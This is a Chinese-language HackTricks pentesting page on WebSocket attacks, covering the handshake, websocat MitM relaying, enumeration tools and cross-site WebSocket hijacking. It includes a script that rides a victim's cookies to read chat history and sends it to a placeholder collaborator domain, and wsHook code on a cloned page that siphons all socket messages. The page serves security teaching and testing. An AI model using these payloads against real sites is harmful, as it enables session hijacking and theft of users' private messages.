hacktricks/pentesting-web/websocket-attacks.md

11 KiB
Raw Blame History

WebSocket 攻击

{% hint style="success" %} 学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}

什么是 WebSockets

WebSocket 连接通过初始的 HTTP 握手建立,旨在实现 长时间 连接,允许随时进行双向消息传递,而无需事务系统。这使得 WebSockets 特别适合需要 低延迟或服务器发起通信 的应用程序,例如实时金融数据流。

WebSocket 连接的建立

有关建立 WebSocket 连接的详细说明可以访问 这里。总之WebSocket 连接通常通过客户端 JavaScript 发起,如下所示:

var ws = new WebSocket("wss://normal-website.com/ws");

wss 协议表示一个使用 TLS 保护的 WebSocket 连接,而 ws 表示一个 不安全的 连接。

在连接建立期间,浏览器和服务器之间通过 HTTP 进行握手。握手过程涉及浏览器发送请求和服务器响应,如以下示例所示:

浏览器发送握手请求:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

服务器的握手响应:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

一旦建立连接,消息交换在两个方向上保持开放。

WebSocket 握手的关键点:

  • ConnectionUpgrade 头部信号表示 WebSocket 握手的开始。
  • Sec-WebSocket-Version 头部指示所需的 WebSocket 协议版本,通常为 13
  • Sec-WebSocket-Key 头部中发送一个 Base64 编码的随机值,确保每个握手都是唯一的,这有助于防止缓存代理的问题。这个值不是用于身份验证,而是为了确认响应不是由配置错误的服务器或缓存生成的。
  • 服务器响应中的 Sec-WebSocket-Accept 头部是 Sec-WebSocket-Key 的哈希,验证服务器打开 WebSocket 连接的意图。

这些特性确保握手过程安全可靠,为高效的实时通信铺平道路。

Linux 控制台

您可以使用 websocat 与 websocket 建立原始连接。

websocat --insecure wss://10.10.10.10:8000 -v

或者创建一个 websocat 服务器:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket 连接

如果你发现客户端从当前本地网络连接到 HTTP websocket,你可以尝试进行 ARP Spoofing Attack 来在客户端和服务器之间执行 MitM 攻击。
一旦客户端尝试连接,你可以使用:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

您可以使用 工具 https://github.com/PalindromeLabs/STEWS 自动发现、指纹识别和搜索已知的 漏洞 在 websockets 中。

Websocket Debug tools

  • Burp Suite 以与常规 HTTP 通信非常相似的方式支持 MitM websockets 通信。
  • socketsleuth Burp Suite 扩展 将允许您通过获取 历史记录、设置 拦截规则、使用 匹配和替换 规则、使用 IntruderAutoRepeater 更好地管理 Burp 中的 Websocket 通信。
  • WSSiP: 代表 "WebSocket/Socket.io Proxy",这个用 Node.js 编写的工具提供了一个用户界面来 捕获、拦截、发送自定义 消息并查看客户端和服务器之间的所有 WebSocket 和 Socket.IO 通信。
  • wsrepl 是一个 交互式 websocket REPL,专门为渗透测试设计。它提供了一个观察 传入 websocket 消息和发送新消息 的接口,并提供了一个易于使用的框架来 自动化 这种通信。
  • https://websocketking.com/ 是一个 用于与其他网站通信web,使用 websockets
  • https://hoppscotch.io/realtime/websocket 在其他类型的通信/协议中,它提供了一个 用于与其他网站通信web,使用 websockets

Websocket Lab

Burp-Suite-Extender-Montoya-Course 中,您有一个代码来启动一个使用 websockets 的 web这篇文章 中您可以找到解释。

Cross-site WebSocket hijacking (CSWSH)

跨站点 WebSocket 劫持,也称为 跨源 WebSocket 劫持,被识别为影响 WebSocket 握手的 跨站请求伪造 (CSRF) 的特定案例。此漏洞发生在 WebSocket 握手仅通过 HTTP cookies 进行身份验证,而没有 CSRF tokens 或类似的安全措施。

攻击者可以通过托管一个 恶意网页 来利用这一点,该网页发起与易受攻击应用程序的跨站点 WebSocket 连接。因此,这个连接被视为受害者与应用程序的会话的一部分,利用会话处理机制中缺乏 CSRF 保护。

Simple Attack

请注意,当 建立 一个 websocket 连接时,cookie 会被 发送 到服务器。服务器 可能会使用它来 关联 每个 特定 用户 与其 基于发送的 cookie 的 websocket 会话

然后,如果 例如 websocket 服务器 发送回用户的对话历史,如果发送了带有 "READY" 的消息,那么一个 简单的 XSS 建立连接(cookie自动发送 以授权受害者用户) 发送 "READY" 将能够 检索 对话的 历史

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

在这篇博客文章 https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ 中,攻击者成功地 在一个子域中执行任意 Javascript,该子域是进行 Websocket 通信的域名的一部分。因为它是一个 子域,所以 cookie发送,而且因为 Websocket 没有正确检查 Origin,因此可以与其通信并 窃取令牌

从用户那里窃取数据

复制您想要模仿的 Web 应用程序(例如 .html 文件),并在进行 Websocket 通信的脚本中添加以下代码:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

现在从 https://github.com/skepticfx/wshook 下载 wsHook.js 文件,并将其保存在包含网页文件的文件夹中
通过暴露网络应用程序并使用户连接到它,您将能够窃取通过 websocket 发送和接收的消息:

sudo python3 -m http.server 80

竞争条件

WebSockets 中的竞争条件也是一个问题,查看此信息以了解更多

其他漏洞

由于 Web Sockets 是一种向服务器端和客户端发送数据的机制,具体取决于服务器和客户端如何处理信息,Web Sockets 可以被用来利用其他几种漏洞,如 XSS、SQLi 或任何其他常见的网络漏洞,使用来自 websocket 的用户输入。

WebSocket 走私

此漏洞可能允许您绕过反向代理限制,使其相信已建立 websocket 通信(即使这不是真的)。这可能允许攻击者访问隐藏的端点。有关更多信息,请查看以下页面:

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

参考文献

{% hint style="success" %} 学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习和实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}